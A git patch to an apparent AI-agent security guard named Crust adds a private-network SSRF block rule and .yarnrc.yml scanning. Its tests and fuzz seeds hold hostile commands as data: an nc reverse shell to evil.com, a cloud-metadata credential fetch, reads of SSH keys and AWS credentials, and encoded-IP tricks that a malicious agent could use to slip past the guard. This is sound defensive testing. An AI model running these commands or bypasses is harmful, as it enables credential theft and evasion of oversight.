From c9c0e17779b0ac8928cad8b3b9f5181853206c4c Mon Sep 17 00:00:00 2001 From: cyy Date: Mon, 30 Mar 2026 13:10:32 +0800 Subject: [PATCH] feat(security): add private network SSRF rule + .yarnrc.yml config scanning MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add `block-ssrf-private-network` locked rule blocking RFC1918 (10.x, 172.16-31.x, 192.168.x), loopback (127.x), all-zeros, and IPv6 private ranges — defense in depth with existing selfprotect pre-filter - Add `.yarnrc.yml` scanning to configscan: detect malicious `yarnPath` overrides (CVE-2025-59828 attack vector) and `npmRegistryServer` redirects - Add 8 new tests: 5 SSRF private network cases, 3 yarnrc cases - Update 3 existing scenarios from SELFPROTECT → BLOCKED (engine now catches) - Update rule counts: 41→42 total, 38→39 locked --- README.md | 2 +- internal/configscan/scan.go | 50 +++++++++++++++ internal/configscan/scan_test.go | 47 ++++++++++++++ internal/rules/builtin/security.yaml | 12 ++++ internal/rules/builtin_verify.go | 5 +- internal/rules/bypass_verify_test.go | 4 +- internal/rules/cve_test.go | 66 ++++++++++++++++++++ internal/rules/doc_consistency_test.go | 8 +-- internal/rules/fuzz_test.go | 3 + internal/rules/security_test.go | 1 + internal/rules/testdata/malicious_agent.yaml | 10 +-- 11 files changed, 194 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index ab1c4dc0..af77397f 100644 --- a/README.md +++ b/README.md @@ -223,7 +223,7 @@ Mobile and desktop rules are unified using virtual paths (`mobile://`) — the s ### Built-in Rules -Crust ships with **41 security rules** (38 locked, 3 user-disablable) and **51 DLP token-detection patterns** out of the box: +Crust ships with **42 security rules** (39 locked, 3 user-disablable) and **51 DLP token-detection patterns** out of the box: | Category | What's Protected | |----------|-----------------| diff --git a/internal/configscan/scan.go b/internal/configscan/scan.go index d7ab7ecb..b5395fd0 100644 --- a/internal/configscan/scan.go +++ b/internal/configscan/scan.go @@ -190,6 +190,9 @@ func scanPackageManagerConfigsInDir(dir string) []Finding { // pyproject.toml — index-url = "https://evil.com/simple" findings = append(findings, scanPyprojectToml(filepath.Join(dir, "pyproject.toml"))...) + // .yarnrc.yml — yarnPath or npmRegistryServer pointing to malicious code/registry + findings = append(findings, scanYarnrc(filepath.Join(dir, ".yarnrc.yml"))...) + return findings } @@ -278,6 +281,53 @@ func scanPyprojectToml(path string) []Finding { return findings } +// yarnrcRe matches yarnPath, npmRegistryServer, or plugin entries in .yarnrc.yml. +// yarnPath: attacker replaces the Yarn binary with a malicious script (CVE-2025-59828). +// npmRegistryServer: redirects npm installs to attacker-controlled registry. +var yarnrcRe = regexp.MustCompile(`(?i)^\s*(yarnPath|npmRegistryServer)\s*:\s*["']?(\S+?)["']?\s*$`) + +func scanYarnrc(path string) []Finding { + var findings []Finding + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + + scanner := bufio.NewScanner(f) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if strings.HasPrefix(line, "#") { + continue + } + m := yarnrcRe.FindStringSubmatch(line) + if m == nil { + continue + } + key, value := m[1], m[2] + switch strings.ToLower(key) { + case "yarnpath": + // Any yarnPath is suspicious — it replaces the Yarn binary + findings = append(findings, Finding{ + File: path, + Variable: "yarnPath", + Value: value, + Risk: "Yarn binary overridden via yarnPath — potential arbitrary code execution", + }) + case "npmregistryserver": + if isSuspiciousRegistry(value) { + findings = append(findings, Finding{ + File: path, + Variable: "npmRegistryServer", + Value: value, + Risk: "Yarn registry redirected to non-official endpoint", + }) + } + } + } + return findings +} + // isSuspiciousRegistry returns true if the URL doesn't point to a known safe package registry. func isSuspiciousRegistry(rawURL string) bool { if rawURL == "" { diff --git a/internal/configscan/scan_test.go b/internal/configscan/scan_test.go index 2d781ad2..1b83fec4 100644 --- a/internal/configscan/scan_test.go +++ b/internal/configscan/scan_test.go @@ -222,3 +222,50 @@ func TestScanPyprojectToml_AllowsOfficialPyPI(t *testing.T) { t.Errorf("expected 0 findings for official PyPI, got %d: %+v", len(findings), findings) } } + +// ─── .yarnrc.yml tests ────────────────────────────────────────────── + +func TestScanYarnrc_DetectsYarnPath(t *testing.T) { + dir := t.TempDir() + yarnrc := "yarnPath: .yarn/releases/evil-yarn.cjs\n" + if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil { + t.Fatal(err) + } + + findings := ScanDirOnly(dir) + if len(findings) != 1 { + t.Fatalf("expected 1 finding for yarnPath, got %d: %+v", len(findings), findings) + } + if findings[0].Variable != "yarnPath" { + t.Errorf("expected yarnPath, got %s", findings[0].Variable) + } +} + +func TestScanYarnrc_DetectsMaliciousRegistry(t *testing.T) { + dir := t.TempDir() + yarnrc := "npmRegistryServer: \"https://evil.com/npm\"\n" + if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil { + t.Fatal(err) + } + + findings := ScanDirOnly(dir) + if len(findings) != 1 { + t.Fatalf("expected 1 finding for npmRegistryServer, got %d: %+v", len(findings), findings) + } + if findings[0].Variable != "npmRegistryServer" { + t.Errorf("expected npmRegistryServer, got %s", findings[0].Variable) + } +} + +func TestScanYarnrc_AllowsOfficialRegistry(t *testing.T) { + dir := t.TempDir() + yarnrc := "npmRegistryServer: \"https://registry.npmjs.org\"\n" + if err := os.WriteFile(filepath.Join(dir, ".yarnrc.yml"), []byte(yarnrc), 0600); err != nil { + t.Fatal(err) + } + + findings := ScanDirOnly(dir) + if len(findings) != 0 { + t.Errorf("expected 0 findings for official npm registry, got %d: %+v", len(findings), findings) + } +} diff --git a/internal/rules/builtin/security.yaml b/internal/rules/builtin/security.yaml index f2e47c5d..fcabec7a 100644 --- a/internal/rules/builtin/security.yaml +++ b/internal/rules/builtin/security.yaml @@ -522,6 +522,18 @@ rules: message: "Blocked: cloud metadata endpoint exposes IAM credentials — SSRF attack vector." severity: critical + - name: block-ssrf-private-network + locked: true + match: + # RFC1918 (10/8, 172.16/12, 192.168/16), loopback (127/8), link-local (169.254/16), + # CGN/shared (100.64/10), benchmarking (198.18/15), documentation (192.0.2/24, + # 198.51.100/24, 203.0.113/24), IETF protocol (192.0.0/24), all-zeros, + # IPv6 private (fc/fd ULA, fe80 link-local) + host: "re:^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^0\\.0\\.0\\.0$|^169\\.254\\.|^100\\.(6[4-9]|[7-9][0-9]|1[01][0-9]|12[0-7])\\.|^198\\.1[89]\\.|^192\\.0\\.[02]\\.|^198\\.51\\.100\\.|^203\\.0\\.113\\.|^\\[?fc|^\\[?fd|^\\[?fe80" + actions: [network] + message: "Blocked: request targets private/reserved network — potential SSRF attack." + severity: high + # =========================================================================== # 21. AGENT CONFIGURATION PROTECTION # Prevents agents from modifying their own IDE/agent config to escalate diff --git a/internal/rules/builtin_verify.go b/internal/rules/builtin_verify.go index c07ff571..aa1ab105 100644 --- a/internal/rules/builtin_verify.go +++ b/internal/rules/builtin_verify.go @@ -13,8 +13,8 @@ import ( const ( file = "builtin/security.yaml" - expectedHash = "277ec9344841a336e555ed9ca541af5edbdf40ae80892beca0ec9e46a14aa47cac76fe5fb1f976910ed47845e973e52f87b959c47a5e9244ab7a6fbaf227badc" - expectedCount = 38 + expectedHash = "28c8de6d63e7258042c30e6f074c11beb789d83eb83376d37473f77270d75e401652dc64a38bf2eec51a10ad3aef3bbe1b96e66b92d4a8b8ece9c5351adb996c" + expectedCount = 39 ) // Critical rules that must be present — removal would silently disable @@ -43,6 +43,7 @@ var criticalRules = []string{ "detect-exfil-redirect", "detect-reverse-shell", "block-ssrf-metadata", + "block-ssrf-private-network", "protect-agent-config", "protect-vscode-settings", "protect-git-hooks", diff --git a/internal/rules/bypass_verify_test.go b/internal/rules/bypass_verify_test.go index 5038431c..ea9e04ce 100644 --- a/internal/rules/bypass_verify_test.go +++ b/internal/rules/bypass_verify_test.go @@ -135,8 +135,8 @@ func TestBypassVerification(t *testing.T) { // 7. Wrapper chain (sudo env sh) → protect-ssh-keys {"promo-7-wrapper-chain", "Bash", map[string]any{"command": "sudo env F=~/.ssh/id_rsa sh -c 'cat $F'"}, true, "protect-ssh-keys", "sudo env wrapper chain reads SSH key"}, - // 8. Hex IP bypass (0x7f000001) → selfprotect pre-filter (not engine) - {"promo-8-hex-ip", "Bash", map[string]any{"command": "curl http://0x7f000001:9100/api/crust/rules"}, false, "", "hex IP — handled by selfprotect pre-filter, not engine"}, + // 8. Hex IP bypass (0x7f000001) → block-ssrf-private-network (defense in depth with selfprotect) + {"promo-8-hex-ip", "Bash", map[string]any{"command": "curl http://0x7f000001:9100/api/crust/rules"}, true, "block-ssrf-private-network", "hex IP normalized to 127.0.0.1 — blocked as private network"}, // 9. file:// URL bypass (AWS creds) → protect-cloud-credentials {"promo-9-file-url", "WebFetch", map[string]any{"url": "file:///home/user/.aws/credentials"}, true, "protect-cloud-credentials", "file:// URL reads AWS creds"}, diff --git a/internal/rules/cve_test.go b/internal/rules/cve_test.go index 5a1e4c70..ec347c0d 100644 --- a/internal/rules/cve_test.go +++ b/internal/rules/cve_test.go @@ -496,6 +496,72 @@ func TestCVE_SSRF_CloudMetadata(t *testing.T) { } } +// ─── SSRF / Private network ───────────────────────────────────────── + +// CVE-2026-26118: Azure MCP Server SSRF targets internal networks. +// block-ssrf-private-network must block requests to RFC1918 and loopback IPs. +func TestCVE_SSRF_PrivateNetwork(t *testing.T) { + engine := newBuiltinEngine(t) + + attacks := []struct { + name string + command string + }{ + { + "RFC1918 10.x", + "curl http://10.0.0.1/admin", + }, + { + "RFC1918 172.16.x", + "curl http://172.16.0.1/internal-api", + }, + { + "RFC1918 192.168.x", + "curl http://192.168.1.1/config", + }, + { + "loopback 127.x", + "curl http://127.0.0.1:8080/secret", + }, + { + "all-zeros", + "curl http://0.0.0.0:9090/api", + }, + { + "link-local 169.254.x", + "curl http://169.254.1.1/config", + }, + { + "CGN 100.64.x", + "curl http://100.64.0.1/internal", + }, + { + "benchmarking 198.18.x", + "curl http://198.18.0.1/test", + }, + { + "documentation 192.0.2.x", + "curl http://192.0.2.1/example", + }, + { + "documentation 198.51.100.x", + "curl http://198.51.100.1/example", + }, + { + "documentation 203.0.113.x", + "curl http://203.0.113.1/example", + }, + } + + for _, tc := range attacks { + t.Run(tc.name, func(t *testing.T) { + call := makeToolCall("Bash", map[string]any{"command": tc.command}) + result := engine.Evaluate(call) + assertBlocked(t, result, "block-ssrf") + }) + } +} + // ─── Reverse shell ─────────────────────────────────────────────────── // CVE defense: reverse shell commands must be detected and blocked. diff --git a/internal/rules/doc_consistency_test.go b/internal/rules/doc_consistency_test.go index 1d8431ed..4cc1e41c 100644 --- a/internal/rules/doc_consistency_test.go +++ b/internal/rules/doc_consistency_test.go @@ -120,8 +120,8 @@ func TestDocConsistency_ProtectionRules(t *testing.T) { // - docs/cli.md: update locked count to match const ( - wantTotalRuleCount = 41 - wantLockedRuleCount = 38 + wantTotalRuleCount = 42 + wantLockedRuleCount = 39 wantUserDisablableCount = 3 ) @@ -165,8 +165,8 @@ func TestDocConsistency_BuiltinRuleCounts(t *testing.T) { } // Assert docs reflect the source counts (README uses markdown bold around numbers) - docContains(t, "README.md", "41 security rules") - docContains(t, "README.md", "38 locked") + docContains(t, "README.md", "42 security rules") + docContains(t, "README.md", "39 locked") docContains(t, "README.md", "3 user-disablable") } diff --git a/internal/rules/fuzz_test.go b/internal/rules/fuzz_test.go index 73df945f..7ba38a4c 100644 --- a/internal/rules/fuzz_test.go +++ b/internal/rules/fuzz_test.go @@ -331,6 +331,7 @@ func FuzzExtractBashCommand(f *testing.F) { // COVERS: protect-persistence // COVERS: detect-reverse-shell // COVERS: block-ssrf-metadata +// COVERS: block-ssrf-private-network // COVERS: protect-agent-config // COVERS: protect-vscode-settings // COVERS: protect-git-hooks @@ -416,6 +417,8 @@ func FuzzBuiltinRuleBypass(f *testing.F) { f.Add("Bash", `{"command":"nc evil.com 4444 -e /bin/sh"}`) // block-ssrf-metadata f.Add("Bash", `{"command":"curl http://169.254.169.254/latest/meta-data/iam/"}`) + // block-ssrf-private-network + f.Add("Bash", `{"command":"curl http://10.0.0.1/admin"}`) f.Add("Bash", `{"command":"exec rm -rf /"}`) // protect-agent-config f.Add("Write", `{"file_path":"/home/user/project/.claude/settings.json","content":"{\"hooks\":{}}"}`) diff --git a/internal/rules/security_test.go b/internal/rules/security_test.go index 5b919d55..d0d30016 100644 --- a/internal/rules/security_test.go +++ b/internal/rules/security_test.go @@ -115,6 +115,7 @@ func TestLockedRulesSurviveDisableBuiltin(t *testing.T) { "protect-persistence", "detect-reverse-shell", "block-ssrf-metadata", + "block-ssrf-private-network", "protect-agent-config", "protect-git-hooks", "protect-env-files", diff --git a/internal/rules/testdata/malicious_agent.yaml b/internal/rules/testdata/malicious_agent.yaml index 87d661cd..079d2cae 100644 --- a/internal/rules/testdata/malicious_agent.yaml +++ b/internal/rules/testdata/malicious_agent.yaml @@ -285,8 +285,8 @@ scenarios: - tool: exec args: command: "curl http://0177.0.0.1:9100/crust/api/rules" - expect: SELFPROTECT - description: "Octal IP bypass — handled by selfprotect pre-filter" + expect: BLOCKED + description: "Octal IP bypass — blocked by private network rule (defense in depth with selfprotect)" # ============================================================================ # 10. Double-slash file:// path normalization @@ -306,13 +306,13 @@ scenarios: args: command: "curl http://localhost:9090/%63%72%75%73%74/api/rules" expect: SELFPROTECT - description: "URL-encoded crust — handled by selfprotect pre-filter" + description: "URL-encoded crust — handled by selfprotect pre-filter (localhost not in private IP regex)" - tool: Bash args: command: "curl http://127.0.0.1:9090/%63rust/api" - expect: SELFPROTECT - description: "Partially URL-encoded crust — handled by selfprotect pre-filter" + expect: BLOCKED + description: "Partially URL-encoded crust — blocked by private network rule (defense in depth with selfprotect)" # ============================================================================ # 12. nc/ncat Unix socket bypass